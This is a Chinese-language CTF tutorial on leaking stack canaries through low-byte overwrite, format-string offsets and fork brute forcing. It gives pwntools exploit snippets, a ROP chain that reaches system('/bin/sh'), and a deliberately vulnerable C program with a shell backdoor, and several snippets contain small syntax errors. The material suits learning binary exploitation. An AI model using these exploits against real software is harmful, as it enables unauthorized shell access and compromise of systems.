泄露Canary一些方法
canary
低位覆盖+输出缓冲区
(程序存在puts函数,puts函数输出一段缓冲区,我们通过缓冲区把\x00覆盖就没有终止符,直接输出canary:
canary介绍:一串十六进制数存在\x00部分,我们需要将其覆盖掉,即在缓冲区基础上尝试多加1个或两个字节。
因为这里不确定到底存在多少个空值,有两种解决方法,1是编写循环脚本,2是多试几次,每次canary值是不一样的。
read+printf低位覆盖
原码
read(xx,buf,xx) //buf追踪栈从0x20开始
print("%s,xxxx",buf) //也可以是put(buf)
//填充一位
def get_canary_0(io):
io.send(flat([
b"a"*(0x20 - 0x8), #0x20:你输入的位置,0x8:canary变量的位置
b"g"
]))
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7))
print("[+] canary: ",hex(canary))
输入位置判断:
read(0, &nbytes[4], *(unsigned int *)nbytes);
printf(&nbytes[4]);
-0000000000000054 char nbytes[72];
-000000000000000C // padding byte
-000000000000000B // padding byte
-000000000000000A // padding byte
-0000000000000009 // padding byte
-0000000000000008 _QWORD var_8;
输入位置:0x54-0x4=0x50
所以有:
io.send(flat([
b"a"*(0x50 - 0x8), #0x20:你输入的位置,0x8:canary变量的位置
b"g"
]))
格式化漏洞泄露
64位
通过偏移泄露
io.sendline(b'aaaa-%x-%x-%X-%x-%x-%x-%x-%x')判断偏移量
def split:
def get_canary(io,canary)
io.sendline(b'%23$p')#获取栈空间上第23个位置的值
canary = int(io.recvuntil(b"\n"), 16)
success("找到金丝雀值",hex(canary))
通过偏移泄露canary+pie
def get_canary_and_pie(io):
io.sendline(b'%17$p-%25$p')#获取栈空间上第23个位置的值
data = io.recvuntil(b'\n').strip()
canary_bytes, pie_addr_bytes = data.split(b'-')
canary = int(canary_bytes, 16)
pie_base = int(pie_addr_bytes, 16) - elf.sym['main'] # PIE基址 = main地址 - main偏移
success(f"金丝雀(canary): {hex(canary)}")
success(f"PIE基址: {hex(pie_base)}")
return canary, pie_base
canary, pie_base = get_canary_and_pie(io)
思路-确定金丝雀值
- 输入aaaaaaaa:判断偏移量
- 查看canary和buf的距离,可用gdb调试,查看栈确定
- 泄露canary
思路-特殊字符确定泄露
printf("what you want in init");
read(0, buf, 0x100uLL);
printf("%s. thank you", buf);
payload = b'a' * 0x18 + b'M' #0x18刚好覆盖完缓冲区,再加一个字符覆盖\x00
io.sendafter("what you want in init" , payload)
io.recvuntil(b'a' * 0x18)
canary = u64(io.recv(8)) - ord("M")
64位
payload = b'a' * (0x240-0x8) + b'M' #0x18刚好覆盖完缓冲区,再加一个字符覆盖\x00
io.sendafter("what you want in init" , payload)
io.recvuntil(b'a' * (0x240-0x8))
canary = u64(io.recv(8)) - ord("M")
log.success(hex(canary))
payload = b'a' * (0x240-0x8)+p64(canary)+p64(0)+p64(prdi_ret)+p64(bin_addr)+p64(sys_addr)
fork爆破
原理
pid_t fork(void)
该函数的作用如下:
创建一个新进程,操作系统会复制父进程的地址空间中的内容给子进程。
调用fork函数后,子进程与父进程的执行顺序是无法确定的。
子进程无法通过fork()创建子进程。该函数有三种返回值:
(1)在父进程中,fork返回新创建子进程的ID;
(2)在子进程中,fork返回0;
(3)如果出现错误,fork返回一个负值。
源码如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdlib.h>
void inits()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}
void backdoor()
{
system("/bin/sh\x00");
}
void func()
{
puts("Input your name:");
char buf[0x20];
read(0,buf,0x60);
}
int main(void)
{
inits();
pid_t pid=0;
while(1)
{
pid=fork()
if(pid<0)
{
printf("Error!");
exit(0)'
}
if(pid==0)//爆破正确会执行这个。
{
func();
puts("Good!");
}
else
wait();
}
return 0;
}
\x77\x77\x77\x77\x77\x77\x77\x00
由于完全会复制父进程的内存布置情况,且一个数据是8字节,最后一位固定,所以我们需要爆破前七位,exp如下:
canary='\x00'
for j in range(7):
for i in range(0x100):
io.send(b'a'*0x28+canary+chr(i))
a=io.recvuntil(b'Input your name:\n')
if 'Good' in a:
canary+= chr(i)
print(hex(u64(canary.ljust(8,b'\x00'))))
break
print(hex(u64(canary)))
io.sendline(b'a'*0x28+canary+p64(0)+p64(backdoor_addr))
io.interactive()

浙公网安备 33010602011771号